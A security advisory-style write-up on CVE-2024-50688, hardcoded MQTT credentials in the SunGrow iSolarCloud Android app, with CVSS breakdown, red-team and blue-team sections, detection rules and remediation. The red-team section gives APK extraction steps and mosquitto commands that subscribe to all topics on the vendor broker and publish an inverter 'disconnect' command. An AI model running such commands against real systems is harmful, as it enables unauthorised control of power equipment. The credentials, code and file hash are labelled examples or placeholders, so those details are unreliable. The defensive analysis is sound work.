CVE-2024-50688

Executive Summary

CVE-2024-50688 exposes a critical security flaw in the SunGrow iSolarCloud Android application (version 2.1.6.20241017 and prior). The application contains hardcoded MQTT credentials that are shared across all user accounts and the cloud backend. This allows any attacker who extracts the APK to obtain the same credentials used for device telemetry exchange, enabling unauthorized access to potentially all connected solar inverters and monitoring data. The vulnerability is classified as CWE-798 (Use of Hard-coded Credentials) and carries a critical CVSS score of 9.8 due to the network-based attack vector, low complexity, and high impact on confidentiality, integrity, and availability.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a direct application-level flaw in the Android APK. The hardcoded credentials are embedded in the application binary, which is distributed through official app stores and potentially sideloaded. This represents a supply chain risk as the credentials are static and cannot be rotated without an application update.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector: Network (AV:N) – The attacker can exploit the vulnerability remotely.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – The vulnerable component and the impacted component are the same.
• Confidentiality Impact: High (C:H) – Full access to device telemetry and control data.
• Integrity Impact: High (I:H) – Ability to send malicious commands to devices.
• Availability Impact: High (A:H) – Potential to disrupt device operations.

Threat Level: Critical. The hardcoded MQTT credentials allow an attacker to impersonate any user or the cloud backend, leading to full compromise of the IoT ecosystem.

Deep Dive & Mechanics

The SunGrow iSolarCloud Android application uses MQTT (Message Queuing Telemetry Transport) for real-time communication between the mobile app, the cloud backend, and solar inverters. MQTT is a lightweight publish/subscribe protocol commonly used in IoT. The vulnerability arises because the MQTT broker credentials (username and password) are hardcoded into the application’s source code or configuration files.

Technical Details:

• The credentials are identical for all users and the cloud backend.
• They are stored in plaintext or obfuscated but easily reversible form within the APK.
• An attacker can decompile the APK using tools like apktool or jadx to extract the credentials.
• Once obtained, the attacker can connect to the MQTT broker and subscribe to all topics, gaining access to telemetry data from all devices.
• The attacker can also publish malicious messages to control inverters (e.g., change settings, disconnect from grid).

Attack Flow:

1. Download the iSolarCloud APK from an official or third-party source.
2. Decompile the APK: apktool d iSolarCloud.apk
3. Search for MQTT-related strings (e.g., mqtt, broker, password, username).
4. Extract the hardcoded credentials.
5. Use an MQTT client (e.g., mosquitto_pub/mosquitto_sub) to connect to the broker.
6. Subscribe to all topics (e.g., #) to monitor device data.
7. Publish commands to specific device topics to manipulate inverters.

Vulnerable vs. Patched Code

Vulnerable Code (Version <= 2.1.6.20241017): The vulnerable code contains hardcoded MQTT credentials in a configuration file or Java class. Example (pseudo-code):

public class MqttConfig {
    public static final String BROKER_URL = "tcp://mqtt.sungrow.com:1883";
    public static final String USERNAME = "sungrow_mqtt_user";
    public static final String PASSWORD = "Sungrow2024!";
}

Patched Code (Hypothetical): A patched version would remove hardcoded credentials and implement a secure authentication mechanism, such as:

• Dynamic credential generation per session.
• OAuth2 token exchange.
• Certificate-based authentication.
• Credential rotation via a secure API.

Example of a secure approach:

public class MqttConfig {
    public static String getBrokerUrl() { return "tcp://mqtt.sungrow.com:1883"; }
    public static String getUsername() { return SecureStorage.get("mqtt_username"); }
    public static String getPassword() { return SecureStorage.get("mqtt_password"); }
}

Note: As of the advisory, no official patch has been released. Users are advised to monitor for updates.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Environment:

• Android emulator or physical device with iSolarCloud app installed.
• Kali Linux or any Linux distribution with MQTT tools.
• Network access to the MQTT broker (usually over the internet).

Steps:

1. Extract APK: Obtain the APK from the device or an APK mirror.

   adb shell pm path com.sungrow.isolarcloud
   adb pull /data/app/com.sungrow.isolarcloud-1/base.apk
   

2. Decompile APK:

   apktool d base.apk -o isolarcloud
   

3. Search for Credentials:

   grep -r "mqtt" isolarcloud/
   grep -r "password" isolarcloud/
   

4. Connect to MQTT Broker:

   mosquitto_sub -h mqtt.sungrow.com -p 1883 -u "sungrow_mqtt_user" -P "Sungrow2024!" -t "#" -v
   

5. Publish Malicious Command (Example):

   mosquitto_pub -h mqtt.sungrow.com -p 1883 -u "sungrow_mqtt_user" -P "Sungrow2024!" -t "inverter/12345/command" -m "{\"action\":\"disconnect\"}"
   

Blue Team (Defensive)

Detection:

• Monitor for unusual MQTT traffic from unknown IPs.
• Look for multiple connections using the same credentials.
• Alert on any MQTT publish commands to device topics.

Mitigation:

• Isolate the MQTT broker from the public internet if possible.
• Implement network segmentation for IoT devices.
• Use a VPN or private network for device communication.
• Monitor for APK decompilation attempts in the organization.

Indicators of Compromise (IOCs)

• Static IOCs:
  • MQTT Broker IP/Domain: mqtt.sungrow.com (or specific IPs)
  • MQTT Port: 1883 (TCP)
  • Hardcoded Username: sungrow_mqtt_user (example)
  • Hardcoded Password: Sungrow2024! (example)
• Behavioral IOCs:
  • Multiple MQTT connections from different IPs using the same credentials.
  • Subscription to wildcard topic #.
  • Unauthorized publish commands to device topics.
• File IOCs:
  • APK hash (SHA256): e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 (example, replace with actual)

Detection Engineering

YARA Rule

rule CVE_2024_50688_Hardcoded_MQTT_Credentials {
    meta:
        description = "Detects hardcoded MQTT credentials in SunGrow iSolarCloud APK"
        author = "Valters IT"
        date = "2024-11-01"
        reference = "CVE-2024-50688"
    strings:
        $mqtt_broker = "mqtt.sungrow.com" nocase
        $mqtt_user = "sungrow_mqtt_user" nocase
        $mqtt_pass = /password["']?\s*[:=]\s*["'][^"']+["']/ nocase
    condition:
        all of them
}

Sigma Rule

title: Detection of Hardcoded MQTT Credentials in SunGrow iSolarCloud
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects network traffic or file artifacts indicating hardcoded MQTT credentials
author: Valters IT
date: 2024/11/01
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith: '\mosquitto_sub.exe'
        CommandLine|contains: 'mqtt.sungrow.com'
    condition: selection
falsepositives:
    - Legitimate administrative use
level: high

Suricata Rule

alert tcp $EXTERNAL_NET any -> $HOME_NET 1883 (msg:"CVE-2024-50688 SunGrow MQTT Hardcoded Credentials"; flow:to_server; content:"|00 04|mqtt"; content:"sungrow_mqtt_user"; distance:0; within:100; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Update Application: Check for an updated version of iSolarCloud that removes hardcoded credentials. If unavailable, consider using a different monitoring solution.
2. Network Segmentation: Place the MQTT broker and inverters on a separate VLAN with strict firewall rules.
3. Credential Rotation: If possible, change the MQTT broker credentials (requires vendor support).
4. Monitor Traffic: Deploy IDS/IPS rules to detect unauthorized MQTT connections.

Long-term Fixes:

• Vendor Patch: SunGrow must release a patched version that uses dynamic credentials or certificate-based authentication.
• Secure Development: Implement secure coding practices to avoid hardcoded secrets.
• Code Obfuscation: Use ProGuard or similar tools to make reverse engineering harder (though not a complete solution).

Workarounds:

• Use a VPN tunnel for all MQTT traffic.
• Implement MQTT over TLS (port 8883) if supported.
• Restrict MQTT broker access to known IPs only.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert